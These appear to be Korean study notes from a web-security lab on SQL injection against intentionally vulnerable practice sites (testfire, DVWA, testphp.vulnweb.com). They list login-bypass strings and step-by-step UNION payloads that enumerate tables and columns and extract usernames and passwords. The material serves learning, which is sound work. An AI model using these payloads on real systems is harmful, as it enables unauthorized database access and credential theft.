웹 보안 실습 1
SQL 인젝션
취약 사이트 실습
1. AltroMutual 사이트
- URL:
demo.testfire.net
admin' --
' or 1=1
' or 'a'='a
2. DVWA 사이트
- 환경: Metasploitable 2의 DVWA
' or '1'='1
' or true#
1' or '1=1
' UNION SELECT table_name, NULL FROM information_schema.tables#
- 모든 테이블 이름 출력.
- UNION 사용 시 컬럼 수를 맞춰야 하므로
NULL
값으로 컬럼 수를 유추
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users'#
- 특정 테이블(
users
)의 컬럼 이름들을 출력
- 특정 테이블(
' UNION SELECT user, password FROM users#
- 위에서 알아낸 컬럼을 이용해 데이터를 추출
3. Acunetix 사이트
- URL:
http://testphp.vulnweb.com/listproducts.php?cat=1
기본 SQL 인젝션
http://testphp.vulnweb.com/listproducts.php?cat=1 or true
- 컬럼 수 확인
http://testphp.vulnweb.com/listproducts.php?cat=1 or true UNION ALL SELECT NULL
- 오류 발생 시
NULL
값을 하나씩 늘려 컬럼 수 추측. - 컬럼 수가 11개임을 확인.
- 오류 발생 시
- 실행 가능한 컬럼 식별
http://testphp.vulnweb.com/listproducts.php?cat=1 and false UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11
- 실행 가능한 컬럼: 11, 7, 2, 9.
데이터베이스 정보 확인
http://testphp.vulnweb.com/listproducts.php?cat=1 and false UNION ALL SELECT 1, version(), 3, 4, 5, 6, user(), 8, 9, 10, 11
데이터베이스 이름 확인
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT 1, 2, 3, 4, 5, 6, 7, 8, database(), 10, 11
- 테이블 이름 추출
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION SELECT 1, group_concat(table_name), 3, 4, 5, 6, 7, 8, 9, 10, 11 FROM information_schema.tables WHERE table_schema=database()
- 테이블 이름들을 한 줄로 나열.
- 특정 테이블의 컬럼 추출
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION SELECT 1, group_concat(column_name), 3, 4, 5, 6, 7, 8, 9, 10, 11 FROM information_schema.columns WHERE table_name='users'
- ‘users’ 테이블의 모든 컬럼 이름 출력.
- 데이터 추출
http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION SELECT 1, uname, 3, 4, 5, 6, 7, 8, pass, 10, 11 FROM users
users
테이블에서uname
(사용자 이름)과pass
(비밀번호) 추출.- 결과:
test
,test
.